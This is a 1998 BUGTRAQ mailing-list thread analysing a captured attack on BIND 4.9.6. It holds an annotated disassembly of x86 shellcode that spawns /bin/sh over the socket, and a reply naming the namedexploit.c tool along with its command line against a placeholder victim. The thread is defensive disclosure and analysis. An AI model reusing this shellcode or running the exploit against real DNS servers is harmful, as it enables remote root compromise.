Re: Bind 4.9.6 ~ Current | X86 Exploit

From: Valentin Pavlov (rootat_private)
Date: Thu Jun 18 1998 - 01:11:23 PDT

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    Actually, as I posted to the original author, the packets are exactly what
    is produced by the namedexploit.c exploit, postead in the article "named
    warez" early on BUGTRAQ. I am pretty sure this is not a new exploit, this
    is namedexploit.c
    
    The packets are what you get if you attack a server with
    
    namedexploit ns.yourvictim.org 4 1
    
    -=-=-=-=-=-=-=-=-=-=-=-=-=-=
    Make source, not [high]score
    ----------------------------
    Valentin 'Val Capone' Pavlov
    ----------------------------
    caponeat_private,  UKTC87203
    -=-=-=-=-=-=-=-=-=-=-=-=-=-=
    
    On Wed, 17 Jun 1998, Sebastian Schoenberg wrote:
    
    > I disassembled the packets and as you can see below, thats code to
    > execute  /bin/sh.
    >
    > Sebastian
    >
    > # objdump  -lD -b binary --start=0x1fb7  --architecture=i386 scanme2 | less
    >
    > scanme2:     file format binary
    >
    > No symbols in "scanme2".
    > Disassembly of section .data:
    >
    > 00001fb7 <.data+0x1fb7>:
    >
    > ;-------------------------------------------------------------------------------------------------------
    > ; Duplicate descriptor 4 to stdin (which is probably the socket)
    > .... lots of nops deleted
    >
    >     1fb7:       31 c0           xorl   %eax,%eax
    >     1fb9:       b0 3f           movb   $0x3f,%al
    >     1fbb:       31 db           xorl   %ebx,%ebx
    >     1fbd:       b3 04           movb   $0x4,%bl
    >     1fbf:       31 c9           xorl   %ecx,%ecx
    >     1fc1:       cd 80           int    $0x80
    > ; Dup stdout too
    >
    >     1fc3:       31 c0           xorl   %eax,%eax
    >     1fc5:       b0 3f           movb   $0x3f,%al
    >     1fc7:       b1 01           movb   $0x1,%cl
    >     1fc9:       cd 80           int    $0x80
    >     1fcb:       31 c0           xorl   %eax,%eax
    >     1fcd:       b0 3f           movb   $0x3f,%al
    >     1fcf:       b1 02           movb   $0x2,%cl
    >     1fd1:       cd 80           int    $0x80
    >     1fd3:       eb 24           jmp    0x1ff9
    > ; jmp and call returns here, so esi is address of '/bin/sh'
    >
    >     1fd5:       5e              popl   %esi
    >     1fd6:       8d 1e           leal   (%esi),%ebx
    >     1fd8:       89 5e 0b        movl   %ebx,0xb(%esi)
    >     1fdb:       33 d2           xorl   %edx,%edx
    >     1fdd:       89 56 07        movl   %edx,0x7(%esi)
    >     1fe0:       89 56 0f        movl   %edx,0xf(%esi)
    >     1fe3:       b8 1b 56 34 12  movl   $0x1234561b,%eax
    >     1fe8:       35 10 56 34 12  xorl   $0x12345610,%eax
    > ; eax is 0x0b which is ecexve, starts /bin/sh
    >
    >     1fed:       8d 4e 0b        leal   0xb(%esi),%ecx
    >     1ff0:       8b d1           movl   %ecx,%edx
    >     1ff2:       cd 80           int    $0x80
    >
    > ; do exit if fail
    >     1ff4:       33 c0           xorl   %eax,%eax
    >     1ff6:       40              incl   %eax
    >     1ff7:       cd 80           int    $0x80
    >     1ff9:       e8 d7 ff ff ff  call   0x1fd5
    >
    > ; this here is '/bin.sh' as string
    >     1ffe:       2f              das
    >     1fff:       62 69 6e        boundl 0x6e(%ecx),%ebp
    >     2002:       2f              das
    >     2003:       73 68           jae    0x206d
    >     2005:       00 90 90 90 90  addb   %dl,0x90909090(%eax)
    >
    > ; and lots of nops....
    >
    > -----Original Message-----
    > From:   System Administrator [SMTP:rootat_private]
    > Sent:   Wednesday, June 17, 1998 12:10 AM
    > To:     BUGTRAQat_private
    > Subject:        Bind 4.9.6 ~ Current | X86 Exploit
    >
    >
    > My apologies if this problem is already known.
    >
    > The attached file is a tcpdump written out, of a person i know, testing
    > a new exploit for bind on me. To read this file and make any sense of it:
    >
    > tcpdump -vvxr scanme2
    >
    > It would appear to be another buffer overflow, and triggering it with
    > sending mass "9090" to something. We are looking further into this, but do
    > not yet have a exploit for it, but are a bit more concearned with a patch.
    > It looks like it was spawned off the idea of the inverse query exploit.
    >
    > Also, at first look it appears the problem probally originates in
    > ns_resp.c, under the /named directory in source. And the code I sent
    > happens to corrupt the stack by adding "909090909090~" on the end of
    > packets, corrupting the stack, crashing named, after leaving a root shell.
    >
    > It is also rumored that there are two version of this exploit already out,
    > one a bit more public than the other, this one was the unreleased, not
    > very public version.
    >
    > *side note*
    > Ive definetly got some of this wrong, but any information would be very
    > helpfull on it.
    >
    > --------------------
    >
    > System Administrator
    > http://www.303.org/~netmask/
    > rootat_private
    >
    



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